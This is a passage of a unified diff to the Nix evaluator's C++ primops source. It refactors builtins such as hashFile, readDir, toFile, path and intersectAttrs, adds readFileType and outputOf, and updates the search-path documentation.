Examples of search path attribute sets: + + - ``` + { + prefix = ""; + path = "/nix/var/nix/profiles/per-user/root/channels"; + } + ``` + - ``` + { + prefix = "nixos-config"; + path = "/etc/nixos/configuration.nix"; + } + ``` + - ``` + { + prefix = "nixpkgs"; + path = "https://github.com/NixOS/nixpkgs/tarballs/master"; + } + ``` + - ``` + { + prefix = "nixpkgs"; + path = "channel:nixpkgs-unstable"; + } + ``` + - ``` + { + prefix = "flake-compat"; + path = "flake:github:edolstra/flake-compat"; + } + ``` + + The lookup algorithm checks each entry until a match is found, returning a [path value](@docroot@/language/types.md#type-path) of the match: + + - If a prefix of `lookup-path` matches `prefix`, then the remainder of *lookup-path* (the "suffix") is searched for within the directory denoted by `path`. + The contents of `path` may need to be downloaded at this point to look inside. + + - If the suffix is found inside that directory, then the entry is a match. + The combined absolute path of the directory (now downloaded if need be) and the suffix is returned. + + > **Example** + > + > A *search-path* value + > + > ``` + > [ + > { + > prefix = ""; + > path = "/home/eelco/Dev"; + > } + > { + > prefix = "nixos-config"; + > path = "/etc/nixos"; + > } + > ] + > ``` + > + > and a *lookup-path* value `"nixos-config"` will cause Nix to try `/home/eelco/Dev/nixos-config` and `/etc/nixos` in that order and return the first path that exists. + + If `path` starts with `http://` or `https://`, it is interpreted as the URL of a tarball that will be downloaded and unpacked to a temporary location. + The tarball must consist of a single top-level directory. + + The URLs of the tarballs from the official `nixos.org` channels can be abbreviated as `channel:`. + See [documentation on `nix-channel`](@docroot@/command-ref/nix-channel.md) for details about channels. + + > **Example** + > + > These two search path entries are equivalent: + > + > - ``` + > { + > prefix = "nixpkgs"; + > path = "channel:nixpkgs-unstable"; + > } + > ``` + > - ``` + > { + > prefix = "nixpkgs"; + > path = "https://nixos.org/channels/nixos-unstable/nixexprs.tar.xz"; + > } + > ``` + + Search paths can also point to source trees using [flake URLs](@docroot@/command-ref/new-cli/nix3-flake.md#url-like-syntax). + + + > **Example** + > + > The search path entry + > + > ``` + > { + > prefix = "nixpkgs"; + > path = "flake:nixpkgs"; + > } + > ``` + > specifies that the prefix `nixpkgs` shall refer to the source tree downloaded from the `nixpkgs` entry in the flake registry. + > + > Similarly + > + > ``` + > { + > prefix = "nixpkgs"; + > path = "flake:github:nixos/nixpkgs/nixos-22.05"; + > } + > ``` + > + > makes `` refer to a particular branch of the `NixOS/nixpkgs` repository on GitHub. + )", .fun = prim_findFile, }); /* Return the cryptographic hash of a file in base-16. */ static void prim_hashFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto type = state.forceStringNoCtx(*args[0], pos); - std::optional ht = parseHashType(type); - if (!ht) - state.debugThrowLastTrace(Error({ - .msg = hintfmt("unknown hash type '%1%'", type), - .errPos = state.positions[pos] - })); + auto algo = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hashFile"); + std::optional ha = parseHashAlgo(algo); + if (!ha) + state.error("unknown hash algorithm '%1%'", algo).atPos(pos).debugThrow(); auto path = realisePath(state, pos, *args[1]); - v.mkString(hashFile(*ht, path).to_string(Base16, false)); + v.mkString(hashString(*ha, path.readFile()).to_string(HashFormat::Base16, false)); } static RegisterPrimOp primop_hashFile({ @@ -1637,23 +1995,65 @@ static RegisterPrimOp primop_hashFile({ .fun = prim_hashFile, }); +static Value * fileTypeToString(EvalState & state, SourceAccessor::Type type) +{ + return + type == SourceAccessor::Type::tRegular ? &state.vStringRegular : + type == SourceAccessor::Type::tDirectory ? &state.vStringDirectory : + type == SourceAccessor::Type::tSymlink ? &state.vStringSymlink : + &state.vStringUnknown; +} + +static void prim_readFileType(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + auto path = realisePath(state, pos, *args[0], std::nullopt); + /* Retrieve the directory entry type and stringize it. */ + v = *fileTypeToString(state, path.lstat().type); +} + +static RegisterPrimOp primop_readFileType({ + .name = "__readFileType", + .args = {"p"}, + .doc = R"( + Determine the directory entry type of a filesystem node, being + one of "directory", "regular", "symlink", or "unknown". + )", + .fun = prim_readFileType, +}); + /* Read a directory (without . or ..) */ static void prim_readDir(EvalState & state, const PosIdx pos, Value * * args, Value & v) { auto path = realisePath(state, pos, *args[0]); - DirEntries entries = readDirectory(path); - + // Retrieve directory entries for all nodes in a directory. + // This is similar to `getFileType` but is optimized to reduce system calls + // on many systems. + auto entries = path.readDirectory(); auto attrs = state.buildBindings(entries.size()); - for (auto & ent : entries) { - if (ent.type == DT_UNKNOWN) - ent.type = getFileType(path + "/" + ent.name); - attrs.alloc(ent.name).mkString( - ent.type == DT_REG ? "regular" : - ent.type == DT_DIR ? "directory" : - ent.type == DT_LNK ? "symlink" : - "unknown"); + // If we hit unknown directory entry types we may need to fallback to + // using `getFileType` on some systems. + // In order to reduce system calls we make each lookup lazy by using + // `builtins.readFileType` application. + Value * readFileType = nullptr; + + for (auto & [name, type] : entries) { + if (!type) { + auto & attr = attrs.alloc(name); + // Some filesystems or operating systems may not be able to return + // detailed node info quickly in this case we produce a thunk to + // query the file type lazily. + auto epath = state.allocValue(); + epath->mkPath(path / name); + if (!readFileType) + readFileType = &state.getBuiltin("readFileType"); + attr.mkApp(readFileType, epath); + } else { + // This branch of the conditional is much more likely. + // Here we just stringize the directory entry type. + attrs.insert(state.symbols.create(name), fileTypeToString(state, *type)); + } } v.mkAttrs(attrs); @@ -1678,6 +2078,47 @@ static RegisterPrimOp primop_readDir({ .fun = prim_readDir, }); +/* Extend single element string context with another output. */ +static void prim_outputOf(EvalState & state, const PosIdx pos, Value * * args, Value & v) +{ + SingleDerivedPath drvPath = state.coerceToSingleDerivedPath(pos, *args[0], "while evaluating the first argument to builtins.outputOf"); + + OutputNameView outputName = state.forceStringNoCtx(*args[1], pos, "while evaluating the second argument to builtins.outputOf"); + + state.mkSingleDerivedPathString( + SingleDerivedPath::Built { + .drvPath = make_ref(drvPath), + .output = std::string { outputName }, + }, + v); +} + +static RegisterPrimOp primop_outputOf({ + .name = "__outputOf", + .args = {"derivation-reference", "output-name"}, + .doc = R"( + Return the output path of a derivation, literally or using a placeholder if needed. + + If the derivation has a statically-known output path (i.e. the derivation output is input-addressed, or fixed content-addresed), the output path will just be returned. + But if the derivation is content-addressed or if the derivation is itself not-statically produced (i.e. is the output of another derivation), a placeholder will be returned instead. + + *`derivation reference`* must be a string that may contain a regular store path to a derivation, or may be a placeholder reference. If the derivation is produced by a derivation, you must explicitly select `drv.outPath`. + This primop can be chained arbitrarily deeply. + For instance, + + ```nix + builtins.outputOf + (builtins.outputOf myDrv "out") + "out" + ``` + + will return a placeholder for the output of the output of `myDrv`. + + This primop corresponds to the `^` sigil for derivable paths, e.g. as part of installable syntax on the command line. + )", + .fun = prim_outputOf, + .experimentalFeature = Xp::DynamicDerivations, +}); /************************************************************* * Creating files @@ -1690,7 +2131,7 @@ static RegisterPrimOp primop_readDir({ static void prim_toXML(EvalState & state, const PosIdx pos, Value * * args, Value & v) { std::ostringstream out; - PathSet context; + NixStringContext context; printValueAsXML(state, true, false, *args[0], out, context, pos); v.mkString(out.str(), context); } @@ -1798,7 +2239,7 @@ static RegisterPrimOp primop_toXML({ static void prim_toJSON(EvalState & state, const PosIdx pos, Value * * args, Value & v) { std::ostringstream out; - PathSet context; + NixStringContext context; printValueAsJSON(state, true, *args[0], pos, out, context); v.mkString(out.str(), context); } @@ -1820,7 +2261,7 @@ static RegisterPrimOp primop_toJSON({ /* Parse a JSON string to a value. */ static void prim_fromJSON(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto s = state.forceStringNoCtx(*args[0], pos); + auto s = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.fromJSON"); try { parseJSON(state, s, v); } catch (JSONParseError &e) { @@ -1848,27 +2289,33 @@ static RegisterPrimOp primop_fromJSON({ as an input by derivations. */ static void prim_toFile(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - std::string name(state.forceStringNoCtx(*args[0], pos)); - std::string contents(state.forceString(*args[1], context, pos)); + NixStringContext context; + std::string name(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.toFile")); + std::string contents(state.forceString(*args[1], context, pos, "while evaluating the second argument passed to builtins.toFile")); StorePathSet refs; - for (auto path : context) { - if (path.at(0) != '/') - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt( - "in 'toFile': the file named '%1%' must not contain a reference " - "to a derivation but contains (%2%)", - name, path), - .errPos = state.positions[pos] - })); - refs.insert(state.store->parseStorePath(path)); + for (auto c : context) { + if (auto p = std::get_if(&c.raw)) + refs.insert(p->path); + else + state.error( + "files created by %1% may not reference derivations, but %2% references %3%", + "builtins.toFile", + name, + c.to_string() + ).atPos(pos).debugThrow(); } auto storePath = settings.readOnlyMode - ? state.store->computeStorePathForText(name, contents, refs) - : state.store->addTextToStore(name, contents, refs, state.repair); + ? state.store->makeFixedOutputPathFromCA(name, TextInfo { + .hash = hashString(HashAlgorithm::SHA256, contents), + .references = std::move(refs), + }) + : ({ + StringSource s { contents }; + state.store->addToStoreFromDump(s, name, FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, refs, state.repair); + }); /* Note: we don't need to add `context' to the context of the result, since `storePath' itself has references to the paths @@ -1886,8 +2333,7 @@ static RegisterPrimOp primop_toFile({ path. The file has suffix *name*. This file can be used as an input to derivations. One application is to write builders “inline”. For instance, the following Nix expression combines the - [Nix expression for GNU Hello](expression-syntax.md) and its - [build script](build-script.md) into one file: + Nix expression for GNU Hello and its build script into one file: ```nix { stdenv, fetchurl, perl }: @@ -1930,8 +2376,8 @@ static RegisterPrimOp primop_toFile({ "; ``` - Note that `${configFile}` is an - [antiquotation](language-values.md), so the result of the + Note that `${configFile}` is a + [string interpolation](@docroot@/language/types.md#type-string), so the result of the expression `configFile` (i.e., a path like `/nix/store/m7p7jfny445k...-foo.conf`) will be spliced into the resulting string. @@ -1956,71 +2402,84 @@ static RegisterPrimOp primop_toFile({ .fun = prim_toFile, }); +bool EvalState::callPathFilter( + Value * filterFun, + const SourcePath & path, + std::string_view pathArg, + PosIdx pos) +{ + auto st = path.lstat(); + + /* Call the filter function. The first argument is the path, the + second is a string indicating the type of the file. */ + Value arg1; + arg1.mkString(pathArg); + + // assert that type is not "unknown" + Value * args []{&arg1, fileTypeToString(*this, st.type)}; + Value res; + callFunction(*filterFun, 2, args, res, pos); + + return forceBool(res, pos, "while evaluating the return value of the path filter function"); +} + static void addPath( EvalState & state, const PosIdx pos, - const std::string & name, - Path path, + std::string_view name, + SourcePath path, Value * filterFun, - FileIngestionMethod method, + ContentAddressMethod method, const std::optional expectedHash, Value & v, - const PathSet & context) + const NixStringContext & context) { try { - // FIXME: handle CA derivation outputs (where path needs to - // be rewritten to the actual output). - auto rewrites = state.realiseContext(context); - path = state.toRealPath(rewriteStrings(path, rewrites), context); - StorePathSet refs; - if (state.store->isInStore(path)) { + if (path.accessor == state.rootFS && state.store->isInStore(path.path.abs())) { + // FIXME: handle CA derivation outputs (where path needs to + // be rewritten to the actual output). + auto rewrites = state.realiseContext(context); + path = {state.rootFS, CanonPath(state.toRealPath(rewriteStrings(path.path.abs(), rewrites), context))}; + try { - auto [storePath, subPath] = state.store->toStorePath(path); + auto [storePath, subPath] = state.store->toStorePath(path.path.abs()); // FIXME: we should scanForReferences on the path before adding it refs = state.store->queryPathInfo(storePath)->references; - path = state.store->toRealPath(storePath) + subPath; + path = {state.rootFS, CanonPath(state.store->toRealPath(storePath) + subPath)}; } catch (Error &) { // FIXME: should be InvalidPathError } } - path = evalSettings.pureEval && expectedHash - ? path - : state.checkSourcePath(path); - - PathFilter filter = filterFun ? ([&](const Path & path) { - auto st = lstat(path); - - /* Call the filter function. The first argument is the path, - the second is a string indicating the type of the file. */ - Value arg1; - arg1.mkString(path); - - Value arg2; - arg2.mkString( - S_ISREG(st.st_mode) ? "regular" : - S_ISDIR(st.st_mode) ? "directory" : - S_ISLNK(st.st_mode) ? "symlink" : - "unknown" /* not supported, will fail! */); - - Value * args []{&arg1, &arg2}; - Value res; - state.callFunction(*filterFun, 2, args, res, pos); - - return state.forceBool(res, pos); - }) : defaultPathFilter; + std::unique_ptr filter; + if (filterFun) + filter = std::make_unique([&](const Path & p) { + auto p2 = CanonPath(p); + return state.callPathFilter(filterFun, {path.accessor, p2}, p2.abs(), pos); + }); std::optional expectedStorePath; if (expectedHash) - expectedStorePath = state.store->makeFixedOutputPath(method, *expectedHash, name); + expectedStorePath = state.store->makeFixedOutputPathFromCA(name, ContentAddressWithReferences::fromParts( + method, + *expectedHash, + {})); if (!expectedHash || !state.store->isValidPath(*expectedStorePath)) { - StorePath dstPath = settings.readOnlyMode - ? state.store->computeStorePathForPath(name, path, method, htSHA256, filter).first - : state.store->addToStore(name, path, method, htSHA256, filter, state.repair, refs); + auto dstPath = fetchToStore( + *state.store, + path.resolveSymlinks(), + settings.readOnlyMode ? FetchMode::DryRun : FetchMode::Copy, + name, + method, + filter.get(), + state.repair); if (expectedHash && expectedStorePath != dstPath) - state.debugThrowLastTrace(Error("store path mismatch in (possibly filtered) path added from '%s'", path)); + state.error( + "store path mismatch in (possibly filtered) path added from '%s'", + path + ).atPos(pos).debugThrow(); state.allowAndSetStorePathString(dstPath, v); } else state.allowAndSetStorePathString(*expectedStorePath, v); @@ -2033,19 +2492,12 @@ static void addPath( static void prim_filterSource(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - PathSet context; - Path path = state.coerceToPath(pos, *args[1], context); + NixStringContext context; + auto path = state.coerceToPath(pos, *args[1], context, + "while evaluating the second argument (the path to filter) passed to 'builtins.filterSource'"); + state.forceFunction(*args[0], pos, "while evaluating the first argument passed to builtins.filterSource"); - state.forceValue(*args[0], pos); - if (args[0]->type() != nFunction) - state.debugThrowLastTrace(TypeError({ - .msg = hintfmt( - "first argument in call to 'filterSource' is not a function but %1%", - showType(*args[0])), - .errPos = state.positions[pos] - })); - - addPath(state, pos, std::string(baseNameOf(path)), path, args[0], FileIngestionMethod::Recursive, std::nullopt, v, context); + addPath(state, pos, path.baseName(), path, args[0], ContentAddressMethod::Raw::NixArchive, std::nullopt, v, context); } static RegisterPrimOp primop_filterSource({ @@ -2105,42 +2557,43 @@ static RegisterPrimOp primop_filterSource({ static void prim_path(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); - Path path; + std::optional path; std::string name; Value * filterFun = nullptr; - auto method = FileIngestionMethod::Recursive; + auto method = ContentAddressMethod::Raw::NixArchive; std::optional expectedHash; - PathSet context; + NixStringContext context; - for (auto & attr : *args[0]->attrs) { + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to 'builtins.path'"); + + for (auto & attr : *args[0]->attrs()) { auto n = state.symbols[attr.name]; if (n == "path") - path = state.coerceToPath(attr.pos, *attr.value, context); + path.emplace(state.coerceToPath(attr.pos, *attr.value, context, "while evaluating the 'path' attribute passed to 'builtins.path'")); else if (attr.name == state.sName) - name = state.forceStringNoCtx(*attr.value, attr.pos); - else if (n == "filter") { - state.forceValue(*attr.value, pos); - filterFun = attr.value; - } else if (n == "recursive") - method = FileIngestionMethod { state.forceBool(*attr.value, attr.pos) }; + name = state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `name` attribute passed to builtins.path"); + else if (n == "filter") + state.forceFunction(*(filterFun = attr.value), attr.pos, "while evaluating the `filter` parameter passed to builtins.path"); + else if (n == "recursive") + method = state.forceBool(*attr.value, attr.pos, "while evaluating the `recursive` attribute passed to builtins.path") + ? ContentAddressMethod::Raw::NixArchive + : ContentAddressMethod::Raw::Flat; else if (n == "sha256") - expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos), htSHA256); + expectedHash = newHashAllowEmpty(state.forceStringNoCtx(*attr.value, attr.pos, "while evaluating the `sha256` attribute passed to builtins.path"), HashAlgorithm::SHA256); else - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("unsupported argument '%1%' to 'addPath'", state.symbols[attr.name]), - .errPos = state.positions[attr.pos] - })); + state.error( + "unsupported argument '%1%' to 'addPath'", + state.symbols[attr.name] + ).atPos(attr.pos).debugThrow(); } - if (path.empty()) - state.debugThrowLastTrace(EvalError({ - .msg = hintfmt("'path' required"), - .errPos = state.positions[pos] - })); + if (!path) + state.error( + "missing required 'path' attribute in the first argument to builtins.path" + ).atPos(pos).debugThrow(); if (name.empty()) - name = baseNameOf(path); + name = path->baseName(); - addPath(state, pos, name, path, filterFun, method, expectedHash, v, context); + addPath(state, pos, name, *path, filterFun, method, expectedHash, v, context); } static RegisterPrimOp primop_path({ @@ -2159,7 +2612,7 @@ static RegisterPrimOp primop_path({ like `@`. - filter\ - A function of the type expected by `builtins.filterSource`, + A function of the type expected by [`builtins.filterSource`](#builtins-filterSource), with the same semantics. - recursive\ @@ -2188,16 +2641,17 @@ static RegisterPrimOp primop_path({ strings. */ static void prim_attrNames(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrNames"); - state.mkList(v, args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs()->size()); - size_t n = 0; - for (auto & i : *args[0]->attrs) - (v.listElems()[n++] = state.allocValue())->mkString(state.symbols[i.name]); + for (const auto & [n, i] : enumerate(*args[0]->attrs())) + (list[n] = state.allocValue())->mkString(state.symbols[i.name]); - std::sort(v.listElems(), v.listElems() + n, - [](Value * v1, Value * v2) { return strcmp(v1->string.s, v2->string.s) < 0; }); + std::sort(list.begin(), list.end(), + [](Value * v1, Value * v2) { return strcmp(v1->c_str(), v2->c_str()) < 0; }); + + v.mkList(list); } static RegisterPrimOp primop_attrNames({ @@ -2215,23 +2669,24 @@ static RegisterPrimOp primop_attrNames({ order as attrNames. */ static void prim_attrValues(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); + state.forceAttrs(*args[0], pos, "while evaluating the argument passed to builtins.attrValues"); - state.mkList(v, args[0]->attrs->size()); + auto list = state.buildList(args[0]->attrs()->size()); - unsigned int n = 0; - for (auto & i : *args[0]->attrs) - v.listElems()[n++] = (Value *) &i; + for (const auto & [n, i] : enumerate(*args[0]->attrs())) + list[n] = (Value *) &i; - std::sort(v.listElems(), v.listElems() + n, + std::sort(list.begin(), list.end(), [&](Value * v1, Value * v2) { std::string_view s1 = state.symbols[((Attr *) v1)->name], s2 = state.symbols[((Attr *) v2)->name]; return s1 < s2; }); - for (unsigned int i = 0; i < n; ++i) - v.listElems()[i] = ((Attr *) v.listElems()[i])->value; + for (auto & v : list) + v = ((Attr *) v)->value; + + v.mkList(list); } static RegisterPrimOp primop_attrValues({ @@ -2247,14 +2702,13 @@ static RegisterPrimOp primop_attrValues({ /* Dynamic version of the `.' operator. */ void prim_getAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto attr = state.forceStringNoCtx(*args[0], pos); - state.forceAttrs(*args[1], pos); - Bindings::iterator i = getAttr( + auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.getAttr"); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.getAttr"); + auto i = getAttr( state, - "getAttr", state.symbols.create(attr), - args[1]->attrs, - pos + args[1]->attrs(), + "in the attribute set under consideration" ); // !!! add to stack trace? if (state.countCalls && i->pos) state.attrSelects[i->pos]++; @@ -2277,27 +2731,75 @@ static RegisterPrimOp primop_getAttr({ /* Return position information of the specified attribute. */ static void prim_unsafeGetAttrPos(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto attr = state.forceStringNoCtx(*args[0], pos); - state.forceAttrs(*args[1], pos); - Bindings::iterator i = args[1]->attrs->find(state.symbols.create(attr)); - if (i == args[1]->attrs->end()) + auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.unsafeGetAttrPos"); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.unsafeGetAttrPos"); + auto i = args[1]->attrs()->find(state.symbols.create(attr)); + if (i == args[1]->attrs()->end()) v.mkNull(); else state.mkPos(v, i->pos); } -static RegisterPrimOp primop_unsafeGetAttrPos(RegisterPrimOp::Info { +static RegisterPrimOp primop_unsafeGetAttrPos(PrimOp { .name = "__unsafeGetAttrPos", .arity = 2, .fun = prim_unsafeGetAttrPos, }); +// access to exact position information (ie, line and colum numbers) is deferred +// due to the cost associated with calculating that information and how rarely +// it is used in practice. this is achieved by creating thunks to otherwise +// inaccessible primops that are not exposed as __op or under builtins to turn +// the internal PosIdx back into a line and column number, respectively. exposing +// these primops in any way would at best be not useful and at worst create wildly +// indeterministic eval results depending on parse order of files. +// +// in a simpler world this would instead be implemented as another kind of thunk, +// but each type of thunk has an associated runtime cost in the current evaluator. +// as with black holes this cost is too high to justify another thunk type to check +// for in the very hot path that is forceValue. +static struct LazyPosAcessors { + PrimOp primop_lineOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer().value)].line); + } + }; + PrimOp primop_columnOfPos{ + .arity = 1, + .fun = [] (EvalState & state, PosIdx pos, Value * * args, Value & v) { + v.mkInt(state.positions[PosIdx(args[0]->integer().value)].column); + } + }; + + Value lineOfPos, columnOfPos; + + LazyPosAcessors() + { + lineOfPos.mkPrimOp(&primop_lineOfPos); + columnOfPos.mkPrimOp(&primop_columnOfPos); + } + + void operator()(EvalState & state, const PosIdx pos, Value & line, Value & column) + { + Value * posV = state.allocValue(); + posV->mkInt(pos.id); + line.mkApp(&lineOfPos, posV); + column.mkApp(&columnOfPos, posV); + } +} makeLazyPosAccessors; + +void makePositionThunks(EvalState & state, const PosIdx pos, Value & line, Value & column) +{ + makeLazyPosAccessors(state, pos, line, column); +} + /* Dynamic version of the `?' operator. */ static void prim_hasAttr(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto attr = state.forceStringNoCtx(*args[0], pos); - state.forceAttrs(*args[1], pos); - v.mkBool(args[1]->attrs->find(state.symbols.create(attr)) != args[1]->attrs->end()); + auto attr = state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.hasAttr"); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.hasAttr"); + v.mkBool(args[1]->attrs()->find(state.symbols.create(attr)) != args[1]->attrs()->end()); } static RegisterPrimOp primop_hasAttr({ @@ -2329,26 +2831,27 @@ static RegisterPrimOp primop_isAttrs({ static void prim_removeAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); - state.forceList(*args[1], pos); + state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.removeAttrs"); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.removeAttrs"); /* Get the attribute names to be removed. We keep them as Attrs instead of Symbols so std::set_difference can be used to remove them from attrs[0]. */ + // 64: large enough to fit the attributes of a derivation boost::container::small_vector names; names.reserve(args[1]->listSize()); for (auto elem : args[1]->listItems()) { - state.forceStringNoCtx(*elem, pos); - names.emplace_back(state.symbols.create(elem->string.s), nullptr); + state.forceStringNoCtx(*elem, pos, "while evaluating the values of the second argument passed to builtins.removeAttrs"); + names.emplace_back(state.symbols.create(elem->string_view()), nullptr); } std::sort(names.begin(), names.end()); /* Copy all attributes not in that set. Note that we don't need to sort v.attrs because it's a subset of an already sorted vector. */ - auto attrs = state.buildBindings(args[0]->attrs->size()); + auto attrs = state.buildBindings(args[0]->attrs()->size()); std::set_difference( - args[0]->attrs->begin(), args[0]->attrs->end(), + args[0]->attrs()->begin(), args[0]->attrs()->end(), names.begin(), names.end(), std::back_inserter(attrs)); v.mkAttrs(attrs.alreadySorted()); @@ -2377,34 +2880,22 @@ static RegisterPrimOp primop_removeAttrs({ name, the first takes precedence. */ static void prim_listToAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceList(*args[0], pos); + state.forceList(*args[0], pos, "while evaluating the argument passed to builtins.listToAttrs"); auto attrs = state.buildBindings(args[0]->listSize()); std::set seen; for (auto v2 : args[0]->listItems()) { - state.forceAttrs(*v2, pos); + state.forceAttrs(*v2, pos, "while evaluating an element of the list passed to builtins.listToAttrs"); - Bindings::iterator j = getAttr( - state, - "listToAttrs", - state.sName, - v2->attrs, - pos - ); + auto j = getAttr(state, state.sName, v2->attrs(), "in a {name=...; value=...;} pair"); - auto name = state.forceStringNoCtx(*j->value, j->pos); + auto name = state.forceStringNoCtx(*j->value, j->pos, "while evaluating the `name` attribute of an element of the list passed to builtins.listToAttrs"); auto sym = state.symbols.create(name); if (seen.insert(sym).second) { - Bindings::iterator j2 = getAttr( - state, - "listToAttrs", - state.sValue, - v2->attrs, - pos - ); + auto j2 = getAttr(state, state.sValue, v2->attrs(), "in a {name=...; value=...;} pair"); attrs.insert(sym, j2->value, j2->pos); } } @@ -2445,15 +2936,65 @@ static RegisterPrimOp primop_listToAttrs({ static void prim_intersectAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[0], pos); - state.forceAttrs(*args[1], pos); + state.forceAttrs(*args[0], pos, "while evaluating the first argument passed to builtins.intersectAttrs"); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.intersectAttrs"); - auto attrs = state.buildBindings(std::min(args[0]->attrs->size(), args[1]->attrs->size())); + auto & left = *args[0]->attrs(); + auto & right = *args[1]->attrs(); - for (auto & i : *args[0]->attrs) { - Bindings::iterator j = args[1]->attrs->find(i.name); - if (j != args[1]->attrs->end()) - attrs.insert(*j); + auto attrs = state.buildBindings(std::min(left.size(), right.size())); + + // The current implementation has good asymptotic complexity and is reasonably + // simple. Further optimization may be possible, but does not seem productive, + // considering the state of eval performance in 2022. + // + // I have looked for reusable and/or standard solutions and these are my + // findings: + // + // STL + // === + // std::set_intersection is not suitable, as it only performs a simultaneous + // linear scan; not taking advantage of random access. This is O(n + m), so + // linear in the largest set, which is not acceptable for callPackage in Nixpkgs. + // + // Simultaneous scan, with alternating simple binary search + // === + // One alternative algorithm scans the attrsets simultaneously, jumping + // forward using `lower_bound` in case of inequality. This should perform + // well on very similar sets, having a local and predictable access pattern. + // On dissimilar sets, it seems to need more comparisons than the current + // algorithm, as few consecutive attrs match. `lower_bound` could take + // advantage of the decreasing remaining search space, but this causes + // the medians to move, which can mean that they don't stay in the cache + // like they would with the current naive `find`. + // + // Double binary search + // === + // The optimal algorithm may be "Double binary search", which doesn't + // scan at all, but rather divides both sets simultaneously. + // See "Fast Intersection Algorithms for Sorted Sequences" by Baeza-Yates et al. + // https://cs.uwaterloo.ca/~ajsaling/papers/intersection_alg_app10.pdf + // The only downsides I can think of are not having a linear access pattern + // for similar sets, and having to maintain a more intricate algorithm. + // + // Adaptive + // === + // Finally one could run try a simultaneous scan, count misses and fall back + // to double binary search when the counter hit some threshold and/or ratio. + + if (left.size() < right.size()) { + for (auto & l : left) { + auto r = right.find(l.name); + if (r != right.end()) + attrs.insert(*r); + } + } + else { + for (auto & r : right) { + auto l = left.find(r.name); + if (l != left.end()) + attrs.insert(r); + } } v.mkAttrs(attrs.alreadySorted()); @@ -2465,28 +3006,30 @@ static RegisterPrimOp primop_intersectAttrs({ .doc = R"( Return a set consisting of the attributes in the set *e2* which have the same name as some attribute in *e1*. + + Performs in O(*n* log *m*) where *n* is the size of the smaller set and *m* the larger set's size. )", .fun = prim_intersectAttrs, }); static void prim_catAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - auto attrName = state.symbols.create(state.forceStringNoCtx(*args[0], pos)); - state.forceList(*args[1], pos); + auto attrName = state.symbols.create(state.forceStringNoCtx(*args[0], pos, "while evaluating the first argument passed to builtins.catAttrs")); + state.forceList(*args[1], pos, "while evaluating the second argument passed to builtins.catAttrs"); - Value * res[args[1]->listSize()]; - unsigned int found = 0; + SmallValueVector res(args[1]->listSize()); + size_t found = 0; for (auto v2 : args[1]->listItems()) { - state.forceAttrs(*v2, pos); - Bindings::iterator i = v2->attrs->find(attrName); - if (i != v2->attrs->end()) + state.forceAttrs(*v2, pos, "while evaluating an element in the list passed as second argument to builtins.catAttrs"); + if (auto i = v2->attrs()->get(attrName)) res[found++] = i->value; } - state.mkList(v, found); + auto list = state.buildList(found); for (unsigned int n = 0; n < found; ++n) - v.listElems()[n] = res[n]; + list[n] = res[n]; + v.mkList(list); } static RegisterPrimOp primop_catAttrs({ @@ -2514,20 +3057,16 @@ static void prim_functionArgs(EvalState & state, const PosIdx pos, Value * * arg return; } if (!args[0]->isLambda()) - state.debugThrowLastTrace(TypeError({ - .msg = hintfmt("'functionArgs' requires a function"), - .errPos = state.positions[pos] - })); + state.error("'functionArgs' requires a function").atPos(pos).debugThrow(); - if (!args[0]->lambda.fun->hasFormals()) { + if (!args[0]->payload.lambda.fun->hasFormals()) { v.mkAttrs(&state.emptyBindings); return; } - auto attrs = state.buildBindings(args[0]->lambda.fun->formals->formals.size()); - for (auto & i : args[0]->lambda.fun->formals->formals) - // !!! should optimise booleans (allocate only once) - attrs.alloc(i.name, i.pos).mkBool(i.def); + auto attrs = state.buildBindings(args[0]->payload.lambda.fun->formals->formals.size()); + for (auto & i : args[0]->payload.lambda.fun->formals->formals) + attrs.insert(i.name, state.getBool(i.def), i.pos); v.mkAttrs(attrs); } @@ -2551,11 +3090,11 @@ static RegisterPrimOp primop_functionArgs({ /* */ static void prim_mapAttrs(EvalState & state, const PosIdx pos, Value * * args, Value & v) { - state.forceAttrs(*args[1], pos); + state.forceAttrs(*args[1], pos, "while evaluating the second argument passed to builtins.mapAttrs"); - auto attrs = state.buildBindings(args[1]->attrs->size()); + auto attrs = state.buildBindings(args[1]->attrs()->size()); - for (auto & i : *args[1]->attrs) { + for 